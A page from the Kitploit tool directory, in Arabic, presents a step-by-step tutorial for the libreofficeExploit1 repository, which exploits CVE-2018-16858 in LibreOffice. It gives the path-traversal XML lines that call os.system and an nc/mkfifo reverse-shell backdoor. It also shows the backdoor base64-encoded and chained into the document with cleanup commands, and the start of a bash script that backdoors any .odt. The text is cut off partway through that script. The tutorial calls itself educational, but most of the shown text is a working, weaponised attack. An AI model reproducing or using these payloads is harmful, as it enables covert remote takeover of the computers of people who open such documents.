Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
libreofficeExploit1 — تنفيذ استغلال CVE-2018-16858 | Kitploit
أدوات/GitHubGitHub/4nimanegra/libreofficeexploit1
أطر الاستغلالالاستغلالاختبار الاختراقالقيادة والسيطرةالتعلم والتعليمتطوير الحمولات
GitHub4nimanegra/libreofficeexploit1

libreofficeExploit1

تنفيذ استغلال CVE-2018-16858

عرض المستودع
31منذ 7 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

دليل أساسي لإنشاء استغلال (exploit)

في هذا المقال سنرى كيفية استخدام خلل بسيط في برنامج لفتح باب خلفي (backdoor) في النظام الذي يستخدم هذا البرنامج.

الخلل المعني هو CVE-2018-16858 الخاص بحزمة LibreOffice المكتبية. يحقق هذا الخلل، في ملف مصمم خصيصًا، تصعيدًا للمسارات (directory traversal)، مما يسمح بتنفيذ كود Python. يتم ربط هذا التنفيذ أو تشغيله عند تفاعل المستخدم مع المستند، ويتم دون إعطاء أي تحذير للمستخدم بشأن تنفيذ الماكرو.

ينقسم هذا المستند إلى خمسة أجزاء. في الجزء الأول، سنشرح الخلل نفسه، وكيفية فك حزمة مستند OpenDocument، وكيفية تغيير هيكله لتنفيذ السكريبت المحلي المطلوب، وكيفية إعادة تجميع المستند مرة أخرى لتنفيذه واختباره.

في الجزء الثاني سنرى كيفية استخدام التنفيذ المحلي لتشغيل أي أمر على النظام الذي يفتح فيه المستند، وسننشئ بابًا خلفيًا يسمح بتنفيذ الأوامر عن بعد.

في الجزء الثالث سنقوم بأتمتة العملية لإنشاء مستندات تنشئ أبوابًا خلفية باتصال مباشر أو عكسي، مع تحديد عنوان IP والمنفذ الذي يجب الاتصال به.

سيتناول الجزء الرابع دمج الخلل في نظام metasploit بحيث يمكن من خلال msfconsole إنشاء مستندات متوافقة مع طريقة استغلال metasploit. بهذا يمكن اختيار أي payload محدد في حزمة metasploit لتنفيذه.

الجزء الخامس والأخير سيوضح كيفية دمج عملية الكشف في نظام مضاد الفيروسات للتعرف على ملفات LibreOffice المصابة بالإجراء السابق. سيتم استخدام تنسيق الكشف لمضاد الفيروسات ClamAV، مما يساعد على فهم أفضل لعملية الكشف لدى مضادات الفيروسات وبالتالي تسهيل حمايتنا من التهديدات من هذا النوع.

سيتم تنفيذ العملية بأكملها لأنظمة Linux المبنية على Debian، ولكن ما يُشرح هنا يمكن تطبيقه على أنظمة أخرى لأنه موصوف بالتفصيل. تم تنفيذ الخلل وإثباتات المفهوم (PoC) لـ CVE الأصلي على إصدار LibreOffice لنظام Windows، لذلك يمكن دائمًا الرجوع إلى هذا المصدر لاستخدام ما هو موصوف في هذا المستند بشكل مشابه لإصدارات Windows.

وصف الخلل

LibreOffice (وبسبب الأسباب الجينية، Apache OpenOffice) يحتوي على خلل في الإصدارات التي تسبق أحدث إصدار (6.1.5) يسمح بتنفيذ كود Python موجود في أي مكان على الحاسوب دون تنبيه المستخدم من تنفيذ ماكرو.

لمشاهدة الخلل المعني، يمكننا إنشاء مستند جديد في محرر النصوص، نكتب فيه شيئًا، نحدده، وننشئ رابطًا تشعبيًا. لإنشاء رابط تشعبي في النص، نختار قائمة Insert ثم الخيار Hyperlink (يمكن أيضًا بالضغط على Ctrl+K بعد تحديد النص).

سيظهر الحوار التالي:

لتعريف رابط تشعبي، يجب إدخال URL والنقر على Apply. بالإضافة إلى خيار URL في الجزء السفلي من مربع الحوار، حيث يمكن قراءة Further Settings، سيكون لدينا زر مع أيقونة Play يتيح لنا أيضًا ربط الأحداث بإجراءات معينة. هنا نحدد أننا نريد تنفيذ كود Python كإجراء.

عند الضغط على هذا الزر، سيتم فتح حوار جديد:

فيه يمكننا الاختيار من بين ثلاثة أحداث أساسية والسكريبت الذي نريد استخدامه. سنختار Mouse Over Object كحدث وكسكريبت من سكريبتات عائلة LibreOffice Macros سنختار Python Samples. ضمن هذا الخيار يوجد سكريبت افتراضي واحد فقط يسمى TableSample، وهو الذي سنختاره.

بعد القيام بذلك، إذا مررنا الماوس فوق النص الذي حولناه إلى رابط تشعبي، سنرى أن نافذة تفتح بمستند يحتوي على جدول. هذا يعني أننا ربطنا حدث تمرير الماوس فوق الرابط التشعبي بسكريبت Python. ما نهدف إليه هو استبدال هذا الإجراء بآخر نريده.

للقيام بذلك، سنحفظ المستند الذي أنشأناه ونخرج من LibreOffice لتنفيذ سلسلة من الأوامر في وحدة التحكم.

فهم OpenDocument

تنسيق المستند ODT ليس أكثر من ملف zip يحتوي على سلسلة من الملفات بداخله (تنسيق DOCX من Microsoft Office مشابه جدًا). لذلك، أول ما سنفعله هو فك ضغط الملف باستخدام برنامج فك ضغط zip.

في حالتنا، سنستخدم أداة سطر الأوامر المسماة unzip، لذا سننفذ ببساطة العبارة التالية:

root@kitploit:~
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt

بهذا سنرى الملفات التي يحتويها فعليًا ملف من نوع OpenDocument. الأكثر أهمية بالنسبة لنا هي ملف mimetypes وملف content.xml وملف styles.xml.

ملف mimetype هو أول ملف يجب أن يظهر في قائمة ملفات zip، لذلك عندما نعيد تجميع الملفات، يجب أن نجبر أداة التجميع على ذلك وإلا لن يتم تفسير الملف على أنه OpenDocument.

ملف content.xml يحتوي على نص المستند الذي كتبناه، حيث يوجد نص ممزوج بعلامات معينة تخبرنا بالشكل الذي يجب أن يظهر به النص.

على سبيل المثال، في السطر التالي:

root@kitploit:~
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>

يمكن ملاحظة مثال على فقرة نصية مكتوبة بنمط معين محدد بواسطة السمة text:style-name. فقرة النص موجودة بين علامة الفتح text:p وعلامة الإغلاق </text:p>.

يمكن أيضًا رؤية السكريبت المرتبط بالرابط التشعبي الذي أنشأناه بسهولة. إذا بحثنا في نص content.xml عن كلمة python أو اسم سكريبت python الذي حملناه، في حالتنا TableSample.py، يمكن بسهولة اكتشاف السطر الذي يجب تغيير محتواه:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

في هذا السطر يوجد مسار سكريبت python الذي سيتم تحميله عند وضع الماوس فوق الرابط التشعبي المسمى TableSample.py والدالة التي سيتم تنفيذها من كود python، في هذه الحالة createTable.

المشكلة الكامنة في LibreOffice هي أنه عند قراءة المستندات لا يتم تنظيف قيمة كود python المراد تحميله بشكل صحيح. البرنامج لا ينظف الأحرف ../ من مسار الملف، لذلك يمكن الوصول إلى أي ملف على النظام الذي يفتح فيه المستند النصي. بالإضافة إلى ذلك، إذا كان الملف الذي يتم الوصول إليه هو ملف يحتوي على كود python، يمكننا تنفيذ أي دالة معرفة في ذلك الملف.

الاختبار الأول لتنفيذ أمر بسيط

كأول إثبات للمفهوم، سنجعل عند المرور فوق الرابط التشعبي يتم تشغيل الآلة الحاسبة، في حالتنا برنامج galculator يفتح الآلة الحاسبة. يجب إنشاء برنامج python يسمح بتنفيذ أمر داخل دالة، على غرار ما يتوقعه LibreOffice. للقيام بذلك، سننشئ الكود التالي في المسار /tmp/prueba.py:

root@kitploit:~
import os;

def ejecuta():
	os.system("galculator");

بهذا الكود الصغير سنحقق هدفنا، الآن فقط نحتاج إلى إضافة كل من ملف python /tmp/prueba.py واسم الدالة ejecuta داخل الاستدعاء الموجود في ملف odt. لذلك سيكون السطر الذي كان يستدعي python على النحو التالي:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

كما ترون، ما قمنا به هو إضافة عدد كبير من ../ للتأكد من أننا نصعد إلى جذر نظام الملفات لدينا. ومن هناك نضيف المسار المحدد إلى ملف python الخاص بنا (prueba.py). بعد $ أضفنا كلمة ejecuta وهي الدالة التي تقوم بتشغيل الآلة الحاسبة.

بعد القيام بذلك، سنقوم بتجميع ملف odt مرة أخرى مع تذكر وضع ملف mimetype كأول ملف. إذا استخدمنا أداة zip، سننفذ الأمر التالي في الدليل الذي فككنا فيه ملف odt ويحتوي على content.xml الخبيث:

root@kitploit:~
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .

بعد القيام بذلك، سنفتح الملف باستخدام LibreOffice وسنلاحظ أنه يتم تشغيل برنامج الآلة الحاسبة عندما نمرر الماوس فوق الرابط التشعبي.

هذه الخطوة الأولى تحتاج إلى كود python تم إنشاؤه بدالة يمكننا تنفيذها بدون معاملات. إنه سهل التنفيذ ولكن قد يكون من الصعب استخدامه في بيئة قابلة للتصديق أو التكرار لاختبار اختراق حقيقي.

منذ الإصدار 6.1 من LibreOffice، توجد إمكانية تمرير معاملات إلى دوال python عند استدعائها. هذا يسمح بحرية أكبر في كتابة السكريبتات لمن يرغبون في الاستخدام المشروع للماكرو في هذا البرنامج، ولكنه يوفر لنا أيضًا فرصة ذهبية لمن يرغبون في البحث عن زوايا البرنامج.

كما قلنا سابقًا واستخدمنا بالفعل، لإجراء استدعاء للنظام لتنفيذ أي أمر، نقوم باستدعاء الفئة os والدالة system. هي التي استخدمناها لاستدعاء الآلة الحاسبة بتمرير السلسلة galculator كمعامل. الشيء الجيد في فئات python هو أنه يمكننا معرفة المسار الذي توجد فيه، وفي الواقع ما يمكن فعله للاستفادة من إمكانية تمرير المعاملات إلى الدوال هو البحث عن موقع هذه الفئة. سابقًا قمنا بتنفيذ دالة من برنامج python كان موجودًا في /tmp/ وأسميناه prueba.py. حسنًا، الآن ما سنفعله هو استدعاء الدالة system مباشرة الموجودة في برنامج python os.py وهو أحد مكتبات النظام. على سبيل المثال في أنظمة Linux الحالية، غالبًا ما نجده في المسار /usr/lib/python3.5/os.py، لذلك سنغير المسار السابق للكود /tmp/prueba.py بهذا المسار الجديد. الآن سنغير الدالة ejecuta بالدالة system وفي الواقع بما أنه يمكننا تمرير معاملات إلى هذه الدالة، يمكننا الآن تشغيل البرنامج galculator، أو أي برنامج آخر نريده، مباشرة، دون الحاجة إلى إنشاء ملف python ليتم تنفيذه على الجهاز الذي سيفتح مستند LibreOffice.

حيث كان لدينا سابقًا هذه السلسلة في ملف content.xml:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/">

الآن سيكون لدينا ببساطة ما يلي:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

طريقة تجميع الملف كمستند LibreOffice ستكون نفسها تمامًا. النتيجة الآن ستكون أنه بمجرد فتح ملف odt دون الحاجة إلى وضع برنامج python في أي مسار محدد. نعم، سنحتاج أن يكون الإصدار الذي يُفتح فيه المستند على الأقل الإصدار 6.1 من LibreOffice.

بمجرد فتح الملف ووضع الماوس فوق الرابط في المستند، سيتم فتح تطبيق الآلة الحاسبة كما حدث في المثال السابق.

إنشاء باب خلفي وتشغيل تلقائي عبر مستند office

الأوامر التي يتم تنفيذها عند فتح المستند يتم تنفيذها على الجهاز المحلي، لذلك إحدى الاستخدامات الممكنة لهذا التنفيذ هي فتح باب خلفي يسمح لنا بتنفيذ الأوامر عن بعد من أماكن أخرى.

لإنشاء باب خلفي بسيط جدًا، سنستخدم الأمر nc وننشئ fifo بحيث نتمكن من إرسال الأوامر إلى الحاسوب والحصول على نتيجة هذا التنفيذ عبر نفس المنفذ. في المقاربة الأولى للخلل الذي استخدمناه لتنفيذ الأمر، كان علينا إنشاء برنامج python. الفكرة هي ألا نضطر إلى رفع أي كود إضافي إلى الحاسوب الذي نريد استغلاله، لذلك سيتم استخدام أوامر النظام لإنشاء الباب الخلفي.

الأمر nc هو أمر نظام يسمح بفتح منفذ على النظام المحلي أو الاتصال بمنفذ لنظام بعيد بحيث يتم إخراج ما يُستقبل عبر هذا الاتصال على المخرجات القياسية، ويتم إدخال ما يُدخل على المخرجات القياسية عبر الاتصال إلى الجهاز الآخر. يمكننا استخدام الأنابيب | بحيث يتم إدخال مخرجات أمر قيد التشغيل إلى أمر آخر، لذلك إذا قمنا بتسلسل الأمر nc مع الأمر /bin/bash، فسيسمح لنا ذلك بحل بسيط لتنفيذ الأوامر عن بعد. إذا نفذنا nc ip port | /bin/bash، فإن ما يصل عبر الاتصال الذي يقوم به الأمر nc سيتم تمريره إلى الأمر /bin/bash الذي ينفذ قشرة (shell)، وبذلك سيتم تنفيذ جميع الأوامر التي يتم إرسالها إلينا من الحاسوب الذي اتصلنا به. لكن المخرجات القياسية لهذه الأوامر لا تعاد إلى الأمر nc، لذلك لن تظهر مخرجاتها. يمكن إعادة توجيه المخرجات القياسية للأمر /bin/bash إلى أمر nc جديد يستخدم منفذًا آخر، ولكن عندها سنحتاج إلى منفذين لإرسال الأوامر واستقبال المخرجات، وهو أمر بدائي.

الحل البسيط هو استخدام fifos، الأمر mkfifo ينشئ ملفًا يسمح بالكتابة والقراءة في نفس الوقت. لذلك سنقوم بإنشاء ملف fifo سنستخدمه كمدخل للأمر nc بحيث يتم إرسال كل ما يُكتب في هذا الملف عبر الاتصال، وسيُستخدم كمخرج للأمر /bin/bash بحيث يتم كتابة مخرجات كل ما يتم تنفيذه بواسطة هذا الأمر في ملف fifo.

تسلسل الأوامر للحصول على باب خلفي يعمل كخادم في أي terminal Linux سيكون كالتالي:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p port < /tmp/lalala | /bin/bash > /tmp/lalala;

للاتصال بهذا الجهاز من أي حاسوب آخر، يجب تنفيذ ما يلي:

root@kitploit:~
user@host:~/$ nc ip port

حيث ip هو عنوان IP للجهاز الذي يحتوي على الباب الخلفي و port هو نفس القيمة التي حددناها عند تشغيل nc على الجهاز الذي نفذنا فيه الباب الخلفي.

إذا كانت مشاكل جدار الحماية في شبكة الجهاز الهدف تمنعنا من استخدام الجهاز كخادم، يمكننا القيام بذلك بشكل عكسي، بحيث يكون الجهاز الذي يحتوي على الباب الخلفي هو من يتصل بخادم بحوزتنا. للقيام بذلك، ننفذ أولاً على جهازنا الأمر التالي:

root@kitploit:~
user@host:~/$ nc -l -p port

وعلى جهاز الباب الخلفي، تسلسل الأوامر التالي المشابه للسابق:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip port < /tmp/lalala | /bin/bash > /tmp/lalala;

عنوان IP الذي يجب أن يظهر في هذا الأمر الأخير هو عنوان IP الخاص بجهازنا. من الواضح أن الجهاز البعيد يجب أن يكون قادرًا على الوصول إلى عنوان IP هذا ليتمكن من إجراء الاتصال الذي سنرسل منه الأوامر لتنفيذها على النظام البعيد.

لذلك على حاسوب الباب الخلفي، ولجمع الأمر في سطر واحد، يمكن تنفيذ إما هذا السطر:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;nc -l -p port < /tmp/lalala | /bin/bash > /tmp/lalala;

أو هذا السطر:

root@kitploit:~
user@host:~/$ mkfifo /tmp/lalala;nc ip port < /tmp/lalala | /bin/bash > /tmp/lalala;

بمجرد فهم ذلك، إذا تمكنا من خلال ملف libreoffice من تنفيذ أي من الأبواب الخلفية، يمكننا التحكم عن بعد في الحاسوب الذي فتح المستند.

من الواضح إذا قمنا بتغيير ملف python الذي أدخلناه في tmp وبدلاً من تشغيل الآلة الحاسبة قمنا بتشغيل الباب الخلفي، سيكون لدينا التنفيذ التلقائي.

root@kitploit:~
import os;

def ejecuta():
	os.system("mkfifo /tmp/lalala;nc ip port < /tmp/lalala | /bin/bash > /tmp/lalala;");

باتباع هذا الخط في إنشاء الأبواب الخلفية، يمكن الآن تنفيذه في مستند office. الطريقة بسيطة نسبيًا حيث نحتاج فقط إلى تغيير أمر الآلة الحاسبة في linux بالأمر الذي يسمح لي بفتح الباب الخلفي.

الباب الخلفي الذي سيتم تنفيذه بدلاً من أمر الآلة الحاسبة سيكون التالي:

root@kitploit:~
mkfifo /tmp/lalala; nc IP PORT < /tmp/lalala | /bin/bash > /tmp/lalala;

إنه باب خلفي باتصال عكسي، لذلك لتشغيله والحصول على شل، يجب فتح مقبس (socket) على المضيف بعنوان IP وفي المنفذ PORT. يجب تغيير هذه القيم بعنوان IP والمنفذ المفتوح على مضيفنا.

هناك مشكلة في هذا الأمر: LibreOffice لا يسمح باستخدام بعض الأحرف الخاصة مثل < أو |، لذلك يجب تجاوز استخدام هذه الأحرف بطريقة ما لاستغلالنا.

ربما الخيار البسيط هو استخدام base64. Base64 مثبت افتراضيًا على جميع أجهزة Linux تقريبًا وهو برنامج يسمح لنا بترميز وفك الترميز باستخدام هذه الخوارزمية. لذلك يمكننا ترميز ما نريد تنفيذه في base64، وتوجيهه إلى ملف ثم يتم فك ترميزه وتنفيذه.

سيتم استخدام طريقة لتنفيذ الباب الخلفي قد تكون بدائية إلى حد ما، لكنها شفافة ومفهومة. لاحقًا بنفس الفكرة يمكن تعقيدها حسب الرغبة لجعل كل شيء أكثر إحكامًا. نظرًا لأن هذا الدليل لأغراض تعليمية، سنحتفظ بصيغ تنفيذ بدائية ولكن بأوامر وتنفيذات بسيطة جدًا.

إذا نفذنا في terminal ما يلي، يمكننا الحصول على نسخة base64 من الحمولة:

root@kitploit:~
echo "mkfifo /tmp/lalala; nc IP PORT < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64

ستكون النتيجة مشابهة لما يلي:

root@kitploit:~
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=

الآن لم يعد لدينا أي من الأحرف التي قد تسبب مشاكل في التنفيذ عبر الاستغلال. ولكن إدخال هذا في الأمر system لن ينفذ شيئًا، لكن يمكننا توجيه هذا المحتوى باستخدام echo إلى ملف. بذلك سيكون لدينا ملف يمكن تنفيذه بعد فك ترميزه، لذلك سنقوم بإنشاء ملف ثم نقوم بفك ترميزه باستخدام الأمر base64 ولكن مع المعامل الذي يسمح بفك الترميز لتوجيه ذلك إلى ملف آخر. هذا الملف الآن سيكون هو الذي سننفذه. سنقسم كل أمر أولاً موضحين ما نقوم به لاستخدامها جميعًا داخل استدعاء system في الاستغلال:

أولاً، ننشئ ملف base64 على الجهاز الذي يفتح مستند LibreOffice في دليله /tmp/ المسمى lalala.base64.

root@kitploit:~
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64بما أن هذا الملف المشفر لا يفيدنا بشيء، سنقوم بفك تشفيره بإخراج النتيجة إلى ملف نريد تنفيذه لاحقًا في نفس الدليل ولكن باسم **lalala.sh**.

base64 -d /tmp/lalala.base64 > /tmp/lalala.sh

هذا الملف ليس لديه أذونات تنفيذ، لذا سنقوم بإعطائه هذه الصلاحيات.

root@kitploit:~
chmod 777 /tmp/lalala.sh

ثم سنقوم بتنفيذ ملف bash الذي أنشأناه.

root@kitploit:~
/tmp/lalala.sh

وأخيرًا، سنقوم بحذف جميع الملفات الوسيطة التي تم إنشاؤها في الحاسوب.

root@kitploit:~
rm /tmp/lalala.sh
rm /tmp/lalala.base64

داخل استدعاء الدالة system في ثغرة exploit الخاصة بنا، سيكون هناك استدعاء لجميع هذه الأوامر مفصولة بـ ؛، مما سيؤدي إلى تنفيذ أمر تلو الآخر، ليصبح الأمر أو الحمولة التالية التي يجب وضعها داخل استدعاء system في ملف contents.xml الخاص بنا بدلاً من الآلة الحاسبة. أخيرًا، حيث كان لدينا المحتوى التالي الذي يسمح بتشغيل الآلة الحاسبة:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

سنضع المحتوى التالي:

root@kitploit:~
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&amp;location=share" xlink:type="simple"/>

بعد إعادة تعبئة مستند LibreOffice، أصبح لدينا مستند يقوم بتنفيذ الباب الخلفي بمجرد تمرير الماوس فوقه.

قبل فتح المستند، وكما ذكرنا سابقًا، يجب أن يكون لدينا منفذ استماع مسبقًا، وبمجرد اتصال الباب الخلفي بمضيفنا، يمكننا تنفيذ الأوامر في النظام البعيد حيث تم فتح مستند LibreOffice.

أتمتة العملية، إنشاء برنامج يسمح لي بإصابة مستندات Office

كخطوة تالية، وقبل إنشاء وحدة metasploit، يجب أن نكون قادرين على أتمتة وتعميم العملية. يساعد ذلك في التحقق من وضوح التغييرات التي يجب إجراؤها لتتمكن من النمطية ووصف المشكلات التي يجب حلها لإنشاء برنامج عام يسمح بإصابة مستندات LibreOffice بالحمولة المختارة. في هذا القسم، سنقوم بإنشاء سكربت صغير يسمح بإصابة ملفات LibreOffice بباب خلفي.

سيتطلب السكربت ثلاث معاملات: مستند الأوفيس، وعنوان IP الذي يجب أن يتصل به الحاسوب بمجرد فتح المستند، بالإضافة إلى المنفذ الذي يجب الاتصال به. بعد تنفيذ السكربت، يجب أن نحصل على مستند LibreOffice يحتوي على الباب الخلفي بداخله. نظرًا لأننا بحاجة إلى فك ضغط ملف zip، سنحتاج إلى أن يكون الدليل الذي ننفذ فيه السكربت نظيفًا، لذا يجب التحقق من ذلك داخله.

لتجنب أن تكون اللغة مشكلة، سنستخدم bash script الذي سيسمح بإنشاء سكربت قد يكون قذرًا بعض الشيء، ولكنه سيسمح باستدعاء برامج GNU التي ستقوم بالعمل الأكثر صعوبة. بعد ذلك، كل هذا العمل الذي تقوم بأتمته برامج GNU، سيكون علينا إما برمجته يدويًا أو استخدام مكتبات تساعد في العملية عند إنشاء وحدة metasploit.

سيبدأ السكربت بطلب وجود الملف الذي نريد ترويانه، وفي حالة عدم وجوده، سنخبر المستخدم بأن الملف غير موجود:

root@kitploit:~
if [ -e $1 ]; then

	# هنا سيتم وضع كود البرنامج.

else
	echo "The odt file does not exists!!";

fi;

يقوم if بتنفيذ الإجراء الموجود داخله عندما يتحقق الشرط الموجود بين الأقواس. في bash، الشرط -e يُرجع صحيحًا إذا كان هناك ملف بالاسم المحدد بعده. بدلاً من اسم ثابت، تم وضع $1 والذي يتوافق في bash مع المعامل الأول الذي أدخله المستخدم في سطر تنفيذ السكربت. في حالتنا، المعامل الأول يحدد ملف .odt الذي نريد ترويانه.

تم وضع شرط أن يكون الدليل الذي ينفذ فيه الأمر فارغًا، وذلك فقط لتسهيل العمل، لذا يجب التحقق من ذلك قبل متابعة القسم الأول من البرنامج. هذه المرة، سنقوم بجعل السكربت ينفذ الأمر ls -a ونتأكد من وجود ملفين فقط في دليل التنفيذ: الملفات المقابلة للدليل . والدليل ... سنحقق ذلك من خلال قسم الكود التالي:

root@kitploit:~
I=0;

for fichero in `ls -a`; do

	I=$(($I+1));

done;

if [ $I -gt 2 ]; then

	echo "At least one file exists on the directory. Exiting.";

else


fi;

في هذا القسم من الكود، يتم تهيئة المتغير I بالقيمة 0. ثم من خلال حلقة for، يتم المرور على كل عنصر من عناصر مخرجات الأمر ls -a، وفي كل تكرار للحلقة، يتغير قيمة المتغير fichero إلى اسم كل عنصر، وفي هذه الحالة اسم كل ملف في دليل العمل. في bash، وضع أمر بين علامتي التنصيص الخاصة ` يسمح بتنفيذ الأمر واستخدام مخرجاته في متغير أو في حلقات كما في حالتنا. داخل الحلقة، ما يتم فعله هو زيادة قيمة المتغير I بمقدار 1. في bash script، المتغيرات التي على يمين علامة التساوي والتي نريد الحصول على قيمتها، يجب أن تسبق دائمًا بعلامة الدولار $. ونظرًا لأننا نريد إجراء عملية حسابية، يجب تغليف العملية $I+1 بين $(( و ))، مما يشير لمفسر bash أننا في وضع رياضي ويجب إجراء عمليات على ما بداخله.

بعد الحلقة، يجب أن تكون قيمة المتغير I تساوي 2 إذا كنا في دليل فارغ، أو أكثر من 2 إذا كان هناك ملفات. لذلك، من خلال شرط، سنتحقق مما إذا كانت قيمة المتغير أكبر من 2 بهدف إيقاف البرنامج وإعلام المستخدم. مرة أخرى، سنستخدم if ولكن هذه المرة سنستخدم المقارنة "أكبر من"، والتي تُكتب في bash كـ -gt من الأحرف الأولى للكلمات الإنجليزية "greater than". كما هو موضح في قطعة الكود، إذا كانت القيمة أكبر من 2، يتم إعلام المستخدم بالخطأ، وإلا سيستمر تنفيذ التعليمات الأخرى.

كآخر تحقق، سنتحقق من أن المستخدم أدخل 3 معاملات. يتم ذلك ببساطة بالتحقق مما إذا كان المتغير $3 فارغًا. هذا المتغير يحدد أنه تم إدخال المعامل رقم 3، لذلك إذا كان فارغًا، فهذا يعني أن الأمر الذي نفذه المستخدم لا يحتوي على 3 معاملات إدخال. يتم المقارنة ببساطة مع الحرف الفارغ، وفي حالة كان فارغًا، يتم إعلام المستخدم بأنه ارتكب خطأ في تنفيذ السكربت. كود هذا الأمر بسيط جدًا أيضًا:

root@kitploit:~
	if [ "" == "$3" ]; then

		echo "I need an IP and a port to connect to.";

	else

		# نستمر مع البرنامج.

	fi;

بعد هذه التحققات، سنبدأ في تنفيذ الأوامر التي تسمح بترويان المستند. نبدأ بتنفيذ الأمر unzip لفك ضغط ملف LibreOffice. في حالة النجاح، سنستمر في العملية، وإلا سنتوقف.

root@kitploit:~
		unzip $1;

		if [ $? != 0 ]; then

			echo "some error has occurr!!!Exiting!!";
			exit;

		fi;

السطر الأول من هذا القسم يقوم ببساطة بفك ضغط الملف الذي حدده المستخدم. في الشرط، ما نقوم به هو التحقق مما إذا كان تنفيذ الأمر unzip قد تم بنجاح من خلال رمز الخروج للبرنامج. رمز الخروج هذا يُرجع من قبل جميع البرامج التي يمكن تنفيذها عبر الطرفية، ووفقًا للمعيار، أي قيمة غير 0 تشير إلى فشل البرنامج. طريقة الحصول على رمز الخطأ هذا تكون من خلال المتغير $? الذي يحتوي على رمز الخروج لآخر أمر تم تنفيذه.

في الشرط، نتحقق ببساطة مما إذا كان يساوي 0، وفي حالة عدم ذلك، نبلغ المستخدم برسالة. بعد هذا الإشعار، ننفذ exit الذي يسمح بإيقاف تنفيذ السكربت في تلك النقطة تمامًا لتجنب استمرار السكربت في تنفيذ الأسطر التالية.

لنتذكر أنه بمجرد فك ضغط الملف، يجب تغيير شيئين في محتوى zip: ملف content.xml حيث يتم إدخال التروجان نفسه، وملف styles.xml حيث يتم تغيير تنسيق الروابط التشعبية بحيث لا يشك المستخدم الذي يفتح الملف في أي مشكلة.

الحمولة التي سيتم إدخالها هي المذكورة في القسم السابق، ويجب أن تكون بصيغة base64، لذا سنقوم بحفظ هذه الحمولة في متغير. بالإضافة إلى ذلك، سنقوم بتغيير أسماء الملفات التي يجب تعديلها بهدف قراءتها وتعديلها في ملفات جديدة بنفس الاسم الأصلي. بحيث تكون الملفات ذات الاسم الأصلي هي في الواقع الملفات المعدلة:

root@kitploit:~
		PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

		mv content.xml content.xml.NEW;

		mv styles.xml styles.xml.NEW;

التغيير الوحيد بالنسبة للحمولة الأصلية المذكورة في القسم السابق هو أنه حيث كان يُشار إلى عنوان IP والمنفذ، يتم استخدام المعاملين 2 و 3 اللذين أدخلهما المستخدم. كما نرى، يتم إجراء عملية مشابهة لتلك التي تمت مع for لحساب عدد الملفات في الدليل، ولكن هذه المرة يتم توجيه مخرجات الأمر إلى متغير اسمه PAYLOAD. كما نلاحظ، يتم أيضًا تنفيذ تغيير اسم الملفات المذكورة باستخدام الأمر mv.

لتغيير محتوى contents.xml، والذي يُسمى الآن contents.xml.NEW، يمكن استخدام الأمر sed. Sed هو أمر أساسي من مجموعة أوامر Unix يسمح، من بين أشياء أخرى، باستبدال تعبيرات منتظمة بأخرى. التغيير الذي يجب إجراؤه في ملف content.xml.NEW هو البحث عن جميع الإدخالات التي تحتوي على النموذج التالي:

root@kitploit:~
<text:p text:style-name="Standard">

